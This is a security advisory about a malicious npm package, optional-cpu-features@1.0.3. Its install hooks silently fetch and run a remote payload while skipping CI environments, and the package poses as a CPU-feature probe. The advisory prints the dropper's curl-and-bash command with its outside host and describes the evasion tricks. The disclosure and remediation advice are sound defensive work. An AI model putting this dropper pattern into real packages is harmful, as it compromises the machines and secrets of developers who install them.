optional-cpu-features@1.0.3

On `npm install`, both the `install` and `postinstall` lifecycle scripts run `node install.js`, which requires `lib/sync.js`. That file hardcodes `BASE = "https://api.aavcareer.ink"` and spawns a detached, stdio-suppressed shell that runs `curl -ks ${BASE}/upd_m -o /var/tmp/upd_m && bash /var/tmp/upd_m` on Unix (or fetches `/upd_w` to `%TEMP%\upd_w.cmd` and executes it on Windows). The fetch disables TLS certificate verification (`curl -ks`) and the spawn is detached + unref'd to hide from the install log. `install.js` early-exits with `process.exit(0)` when `process.env.CI` is `"true"` or `"1"`, so CI scanners and sandboxes see a no-op while real developer and build machines execute the remote payload. The package name and the package.json description ("Optional native CPU feature probe for toolchain compatibility (install is a no-op when bindings are unavailable)") advertise a CPU/SIMD feature probe, but no CPU detection code exists anywhere in the package — the cover story exists to encourage monorepos to add this as an `optionalDependencies` entry that tolerates apparent failure while the dropper has already succeeded silently. The attacker fully controls the bytes that run as the installing user on every non-CI machine. ## Source: ghsa-malware (c4105a825a6fa50440a928012da34abccd3aa921aca1041551a0986b8e49455a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.